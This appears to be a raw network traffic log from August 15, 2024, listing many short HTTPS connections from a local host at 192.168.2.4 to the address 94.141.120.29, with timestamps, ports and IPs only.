Aug 15, 2024 08:10:51.805557013 CEST	50576	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:51.817367077 CEST	50576	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:51.817384005 CEST	443	50576	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:51.817495108 CEST	443	50576	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:51.822057009 CEST	50577	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:51.822083950 CEST	443	50577	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:51.822300911 CEST	50577	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:51.833370924 CEST	50577	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:51.833383083 CEST	443	50577	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:51.833498001 CEST	443	50577	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:51.837739944 CEST	50578	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:51.837749004 CEST	443	50578	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:51.841593981 CEST	50578	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:51.853373051 CEST	50578	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:51.853384018 CEST	443	50578	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:51.853627920 CEST	443	50578	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:51.858098984 CEST	50579	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:51.858124018 CEST	443	50579	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:51.858429909 CEST	50579	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:51.867621899 CEST	50579	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:51.867636919 CEST	443	50579	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:51.867882013 CEST	443	50579	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:51.873359919 CEST	50580	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:51.873368979 CEST	443	50580	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:51.873563051 CEST	50580	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:51.883764029 CEST	50580	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:51.883774042 CEST	443	50580	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:51.883883953 CEST	443	50580	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:51.889210939 CEST	50581	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:51.889234066 CEST	443	50581	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:51.889298916 CEST	50581	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:51.903281927 CEST	50581	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:51.903302908 CEST	443	50581	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:51.903561115 CEST	443	50581	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:51.907989979 CEST	50582	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:51.908014059 CEST	443	50582	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:51.908114910 CEST	50582	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:51.936691999 CEST	50582	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:51.936723948 CEST	443	50582	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:51.937033892 CEST	443	50582	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:51.943696022 CEST	50583	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:51.943721056 CEST	443	50583	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:51.943964005 CEST	50583	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:51.958456039 CEST	50583	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:51.958470106 CEST	443	50583	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:51.958724022 CEST	443	50583	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:51.965363979 CEST	50584	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:51.965374947 CEST	443	50584	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:51.965455055 CEST	50584	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:51.981440067 CEST	50584	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:51.981456041 CEST	443	50584	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:51.981723070 CEST	443	50584	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:51.989176035 CEST	50585	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:51.989217043 CEST	443	50585	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:51.989425898 CEST	50585	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:52.037369967 CEST	50585	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:52.037391901 CEST	443	50585	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:52.037709951 CEST	443	50585	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:52.045370102 CEST	50586	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:52.045397043 CEST	443	50586	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:52.050952911 CEST	50586	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:52.062876940 CEST	50586	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:52.062897921 CEST	443	50586	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:52.063153982 CEST	443	50586	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:52.074004889 CEST	50587	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:52.074027061 CEST	443	50587	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:52.074378967 CEST	50587	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:52.092597961 CEST	50587	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:52.092608929 CEST	443	50587	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:52.092760086 CEST	443	50587	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:52.099229097 CEST	50588	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:52.099260092 CEST	443	50588	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:52.099986076 CEST	50588	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:52.137366056 CEST	50588	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:52.137381077 CEST	443	50588	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:52.137715101 CEST	443	50588	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:52.143510103 CEST	50589	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:52.143537045 CEST	443	50589	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:52.143877029 CEST	50589	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:52.168111086 CEST	50589	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:52.168128014 CEST	443	50589	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:52.168392897 CEST	443	50589	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:52.174710989 CEST	50590	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:52.174725056 CEST	443	50590	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:52.174777031 CEST	50590	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:52.201559067 CEST	50590	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:52.201575994 CEST	443	50590	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:52.201797009 CEST	443	50590	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:52.294800997 CEST	50591	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:52.294841051 CEST	443	50591	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:52.294905901 CEST	50591	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:52.675559044 CEST	50591	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:52.675580025 CEST	443	50591	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:52.675857067 CEST	443	50591	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:52.683134079 CEST	50592	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:52.683216095 CEST	443	50592	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:52.683310986 CEST	50592	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:52.703701973 CEST	50592	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:52.703777075 CEST	443	50592	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:52.704046011 CEST	443	50592	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:52.712904930 CEST	50593	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:52.713031054 CEST	443	50593	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:52.713238001 CEST	50593	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:52.726001978 CEST	50593	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:52.726074934 CEST	443	50593	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:52.726226091 CEST	443	50593	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:52.734498024 CEST	50594	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:52.734574080 CEST	443	50594	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:52.734658957 CEST	50594	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:52.753532887 CEST	50594	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:52.753597975 CEST	443	50594	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:52.753890991 CEST	443	50594	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:52.761996984 CEST	50595	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:52.762114048 CEST	443	50595	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:52.762197018 CEST	50595	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:52.775325060 CEST	50595	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:52.775403023 CEST	443	50595	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:52.775662899 CEST	443	50595	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:52.781589031 CEST	50596	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:52.781706095 CEST	443	50596	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:52.781795979 CEST	50596	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:52.791049957 CEST	50596	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:52.791111946 CEST	443	50596	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:52.791213989 CEST	443	50596	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:52.799453974 CEST	50597	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:52.799532890 CEST	443	50597	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:52.799802065 CEST	50597	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:52.821358919 CEST	50597	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:52.821429014 CEST	443	50597	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:52.821671963 CEST	443	50597	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:52.827564955 CEST	50598	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:52.827646017 CEST	443	50598	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:52.827800035 CEST	50598	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:52.841814995 CEST	50598	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:52.841886997 CEST	443	50598	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:52.842113972 CEST	443	50598	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:52.853583097 CEST	50599	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:52.853662014 CEST	443	50599	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:52.853754044 CEST	50599	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:52.872737885 CEST	50599	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:52.872801065 CEST	443	50599	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:52.872929096 CEST	443	50599	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:52.879800081 CEST	50600	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:52.879877090 CEST	443	50600	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:52.879956961 CEST	50600	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:52.903328896 CEST	50600	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:52.903403997 CEST	443	50600	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:52.903616905 CEST	443	50600	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:52.911808014 CEST	50601	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:52.911889076 CEST	443	50601	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:52.911982059 CEST	50601	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:52.922038078 CEST	50601	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:52.922113895 CEST	443	50601	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:52.922389984 CEST	443	50601	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:52.929508924 CEST	50602	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:52.929588079 CEST	443	50602	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:52.929701090 CEST	50602	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:52.938575029 CEST	50602	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:52.938651085 CEST	443	50602	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:52.938896894 CEST	443	50602	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:52.948129892 CEST	50603	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:52.948206902 CEST	443	50603	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:52.948282957 CEST	50603	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:52.984761953 CEST	50603	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:52.984834909 CEST	443	50603	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:52.985074043 CEST	443	50603	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:52.994472027 CEST	50604	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:52.994550943 CEST	443	50604	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:52.994632006 CEST	50604	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:53.013540983 CEST	50604	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:53.013618946 CEST	443	50604	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:53.013804913 CEST	443	50604	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:53.022250891 CEST	50605	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:53.022289038 CEST	443	50605	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:53.022388935 CEST	50605	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:53.031327009 CEST	50605	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:53.031400919 CEST	443	50605	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:53.031632900 CEST	443	50605	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:53.038216114 CEST	50606	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:53.038292885 CEST	443	50606	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:53.038395882 CEST	50606	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:53.048032045 CEST	50606	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:53.048105001 CEST	443	50606	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:53.048358917 CEST	443	50606	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:53.053541899 CEST	50607	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:53.053622007 CEST	443	50607	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:53.053719997 CEST	50607	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:53.062663078 CEST	50607	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:53.062694073 CEST	443	50607	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:53.062958956 CEST	443	50607	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:53.073488951 CEST	50608	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:53.073599100 CEST	443	50608	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:53.073699951 CEST	50608	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:53.091339111 CEST	50608	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:53.091413975 CEST	443	50608	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:53.091694117 CEST	443	50608	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:53.097763062 CEST	50609	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:53.097842932 CEST	443	50609	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:53.098128080 CEST	50609	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:53.107342958 CEST	50609	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:53.107419968 CEST	443	50609	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:53.107637882 CEST	443	50609	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:53.113611937 CEST	50610	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:53.113691092 CEST	443	50610	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:53.113785028 CEST	50610	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:53.123277903 CEST	50610	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:53.123342991 CEST	443	50610	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:53.123467922 CEST	443	50610	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:53.129709005 CEST	50611	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:53.129786968 CEST	443	50611	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:53.129892111 CEST	50611	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:53.139424086 CEST	50611	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:53.139498949 CEST	443	50611	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:53.139722109 CEST	443	50611	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:53.145852089 CEST	50612	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:53.145931005 CEST	443	50612	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:53.146234989 CEST	50612	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:53.155669928 CEST	50612	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:53.155740023 CEST	443	50612	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:53.155951977 CEST	443	50612	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:53.162166119 CEST	50613	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:53.162242889 CEST	443	50613	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:53.162523985 CEST	50613	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:53.171750069 CEST	50613	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:53.171853065 CEST	443	50613	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:53.172066927 CEST	443	50613	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:53.179902077 CEST	50614	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:53.180011988 CEST	443	50614	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:53.180094957 CEST	50614	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:53.201529026 CEST	50614	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:53.201602936 CEST	443	50614	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:53.201838970 CEST	443	50614	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:53.210124016 CEST	50615	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:53.210203886 CEST	443	50615	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:53.210288048 CEST	50615	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:53.247070074 CEST	50615	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:53.247145891 CEST	443	50615	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:53.247381926 CEST	443	50615	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:53.254441977 CEST	50616	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:53.254523039 CEST	443	50616	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:53.254611015 CEST	50616	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:53.275002003 CEST	50616	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:53.275077105 CEST	443	50616	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:53.275329113 CEST	443	50616	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:53.283855915 CEST	50617	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:53.283932924 CEST	443	50617	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:53.284014940 CEST	50617	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:53.293688059 CEST	50617	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:53.293762922 CEST	443	50617	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:53.293992996 CEST	443	50617	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:53.301727057 CEST	50618	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:53.301805019 CEST	443	50618	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:53.301907063 CEST	50618	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:53.311619043 CEST	50618	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:53.311721087 CEST	443	50618	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:53.311856031 CEST	443	50618	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:53.324578047 CEST	50619	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:53.324657917 CEST	443	50619	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:53.324738979 CEST	50619	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:53.349756002 CEST	50619	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:53.349848986 CEST	443	50619	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:53.350070953 CEST	443	50619	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:53.359621048 CEST	50620	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:53.359699011 CEST	443	50620	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:53.359803915 CEST	50620	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:53.371840000 CEST	50620	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:53.371913910 CEST	443	50620	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:53.372035980 CEST	443	50620	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:53.378910065 CEST	50621	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:53.378988981 CEST	443	50621	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:53.379173040 CEST	50621	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:53.399986982 CEST	50621	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:53.400074959 CEST	443	50621	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:53.400310040 CEST	443	50621	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:53.409183979 CEST	50622	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:53.409264088 CEST	443	50622	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:53.409354925 CEST	50622	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:53.430305004 CEST	50622	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:53.430372953 CEST	443	50622	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:53.430635929 CEST	443	50622	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:53.437592030 CEST	50623	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:53.437671900 CEST	443	50623	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:53.437733889 CEST	50623	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:53.449711084 CEST	50623	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:53.449774027 CEST	443	50623	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:53.449881077 CEST	443	50623	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:53.457685947 CEST	50624	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:53.457714081 CEST	443	50624	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:53.457773924 CEST	50624	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:53.466825962 CEST	50624	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:53.466837883 CEST	443	50624	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:53.466964960 CEST	443	50624	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:53.473817110 CEST	50625	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:53.473843098 CEST	443	50625	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:53.473925114 CEST	50625	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:53.482363939 CEST	50625	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:53.482377052 CEST	443	50625	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:53.482597113 CEST	443	50625	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:53.491031885 CEST	50626	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:53.491051912 CEST	443	50626	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:53.491139889 CEST	50626	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:53.505453110 CEST	50626	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:53.505480051 CEST	443	50626	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:53.505748987 CEST	443	50626	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:53.511992931 CEST	50627	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:53.512011051 CEST	443	50627	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:53.512058973 CEST	50627	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:53.521452904 CEST	50627	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:53.521471024 CEST	443	50627	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:53.521756887 CEST	443	50627	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:53.529627085 CEST	50628	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:53.529647112 CEST	443	50628	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:53.529753923 CEST	50628	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:53.538722038 CEST	50628	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:53.538733006 CEST	443	50628	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:53.539026022 CEST	443	50628	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:53.545521021 CEST	50629	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:53.545536041 CEST	443	50629	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:53.545595884 CEST	50629	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:53.554119110 CEST	50629	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:53.554131031 CEST	443	50629	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:53.554409027 CEST	443	50629	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:53.626111984 CEST	50630	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:53.626147032 CEST	443	50630	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:53.626203060 CEST	50630	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:53.639667988 CEST	50630	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:53.639698982 CEST	443	50630	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:53.639974117 CEST	443	50630	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:53.652422905 CEST	50631	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:53.652450085 CEST	443	50631	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:53.652524948 CEST	50631	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:53.670566082 CEST	50631	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:53.670578957 CEST	443	50631	94.141.120.29	192.168.2.4
